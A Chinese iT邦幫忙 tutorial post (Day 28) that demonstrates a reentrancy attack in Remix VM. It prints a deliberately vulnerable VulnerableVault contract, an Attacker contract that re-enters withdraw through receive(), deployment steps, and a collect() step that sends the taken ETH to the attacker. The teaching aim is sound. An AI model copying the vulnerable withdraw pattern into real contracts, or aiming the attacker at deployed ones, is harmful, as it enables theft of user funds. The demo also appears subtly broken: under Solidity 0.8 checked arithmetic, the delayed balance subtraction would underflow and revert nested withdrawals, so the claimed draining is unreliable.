iT邦幫忙

0

Day 28:實作 1 — 示範漏洞合約(Withdraw 漏洞版)與重入攻擊演示

  • 分享至 

  • xImage
  •  

今天實作示範一個經典漏洞:重入攻擊(Reentrancy) 的實際演練。流程很簡單:
在 Remix 貼上「脆弱合約」(VulnerableVault)並部署到 Remix VM / JavaScript VM,
再部署一個攻擊合約(Attacker),用它觸發重入,
觀察 deposit → withdraw 被不當重複執行並將 Vault 掏空。

🔹 三句話速記
漏洞關鍵:在 withdraw 中 先發送 ETH,再更新 state(balances),造成回呼可重複提款。
示範需兩個合約:VulnerableVault(被害合約)與 Attacker(含 fallback 的攻擊合約)。
修復策略(Day 29):Checks → Effects → Interactions 或 ReentrancyGuard。

🔹 漏洞合約
檔名建議 VulnerableVault.sol,複製貼上即可編譯:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableVault {
mapping(address => uint256) public balances;

// 接受初始資金
constructor() payable {} 

// 存入資金
function deposit() external payable {
    require(msg.value > 0, "send ETH");
    balances[msg.sender] += msg.value;
    emit Deposited(msg.sender, msg.value);
}

// 提款函式 (存在重入漏洞)
function withdraw(uint256 _amount) public {
    require(balances[msg.sender] >= _amount, "Insufficient balance");

    // 外部呼叫:這裡是漏洞點,msg.sender是Attacker合約地址,會觸發其receive()
    (bool success, ) = msg.sender.call{value: _amount}(""); 
    
    // VULNERABLE: 狀態在外部呼叫成功後才更新
    if(success) {
         balances[msg.sender] -= _amount;
    } else {
         // 如果send failed,回滾
         revert("send failed"); 
    }

    emit Withdrawn(msg.sender, _amount);
}

function contractBalance() public view returns (uint256) {
    return address(this).balance;
}

event Deposited(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);

}

🔹 攻擊合約
檔名建議 Attacker.sol,部署時傳入 Vault 地址:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

// 由於 Attacker 合約需要呼叫 VulnerableVault,我們需要其介面定義
interface IVulnerableVault {
function deposit() external payable;
function withdraw(uint256 amount) external;
function contractBalance() external view returns (uint256);
}

contract Attacker {
// 將 Vault 定義為不可變 (immutable)
IVulnerableVault public immutable vault;

address public immutable owner; 

// 儲存單次提款金額,避免在 receive() 中讀取昂貴的 storage (s_amountToWithdraw)
// 我們將在 attack() 中使用 msg.value 來推斷這個值

// 1. 建構函式:部署時設定目標 Vault 地址
constructor(address _vaultAddress) {
    vault = IVulnerableVault(_vaultAddress);
    owner = msg.sender;
}

receive() external payable {
    
    // 檢查 Vault 內是否還有錢可提
    if (address(vault).balance >= msg.value) { 
        
        // 1. 編碼呼叫數據 (使用 abi.encodeWithSelector 這是必要的)
        bytes memory callData = abi.encodeWithSelector(
            // 由於 IVulnerableVault 已經定義,使用 selector 簽名是最好的
            IVulnerableVault(address(vault)).withdraw.selector, 
            msg.value 
        );
        
        bool successResult;
        bytes memory returnData;
        
        (successResult, returnData) = address(vault).call(callData);
        
        // 為了消除 'Unused local variable' 的警告,但又不影響執行邏輯,
        // 在不改變狀態的前提下使用變數:
        if (returnData.length > 0) {} 
        if (successResult == false) {} 
    }
}

// 2. 攻擊發起點
function attack(uint256 amount) external payable {
    // 確保發送給 Attacker 的 ETH 量與存款量一致
    require(msg.value == amount, "send value must equal amount"); 
    
    // 1. 存入資金,確保 Attacker 在 Vault 中有餘額可提
    vault.deposit{value: msg.value}();
    
    // 2. 第一次提款,啟動重入迴圈
    // 由於 msg.value == amount,這裡會呼叫 vault.withdraw(msg.value)
    vault.withdraw(amount);
}

// 3. 提領攻擊結果到攻擊者 EOA
function collect() external {
    require(msg.sender == owner, "Only owner can collect");
    // 使用 low-level call 提款,更健壯
    (bool success, ) = payable(owner).call{value: address(this).balance}("");
    require(success, "Collection failed");
}

// 輔助功能
function attackerBalance() public view returns (uint256) {
    return address(this).balance;
}

}

🔧 Remix(JS VM)逐步操作
開啟 https://remix.ethereum.org → 左邊工具列點 🚀 Deploy & Run Transactions。
Environment:選 Remix VM (Cancun)(或 JavaScript VM),Account 選第一帳號作為 deployer。
新增檔案 VulnerableVault.sol、貼上上方 VulnerableVault 程式,編譯(確保 compiler 與 pragma 相符)。
在 Deploy 面板選 VulnerableVault → 點 Deploy。
複製剛部署的 VulnerableVault 合約地址(右側 Deployed Contracts 的地址欄)。
新增檔案 Attacker.sol、貼上攻擊合約程式,編譯。
在 Deploy 面板選 Attacker,constructor 欄位貼上 VulnerableVault 地址,點 Deploy(此合約會成為攻擊者合約)。
Victim deposit(模擬第三方存款):
在右上方的 Accounts 選第二或第三個帳戶(模擬受害者)。
在 VulnerableVault 欄位的 Value 輸入 2,單位選 ether,點 deposit(這會把 2 ETH 存入 Vault)。
可呼叫 contractBalance() 確認顯示 2000000000000000000(2 ETH,wei)。
執行攻擊:
切回 Attacker 的部署者帳號(通常為第一帳號)。
在 Attacker 欄位的 attack 輸入 1(ether)為 value,點 attack。
這會觸發重入,觀察交易結果與合約餘額變化。
觀察結果:
呼叫 VulnerableVault.contractBalance()(應接近 0)
在 Remix 的 Transactions 清單中找到那筆 attack 交易 → 點入查看 Decoded Logs / Internal Transactions,你會看到多次內部 transfer 或多個 Withdrawn event(如果有 emit)。
(可選)執行 Attacker.collect() 把 Attacker 合約餘額轉回 EOA,並驗證該帳戶的 ETH 增加。

這個實驗是理解重入攻擊最直觀的方法:你會看到錯誤只是「一行狀態更新順序」就能導致巨額損失。實務上,Checks → Effects → Interactions 與使用成熟庫(OpenZeppelin 的 ReentrancyGuard)是第一道且最有效的防線。下次部署任何處理資金的合約前,務必在本地用 JS VM 做攻防測試。


圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言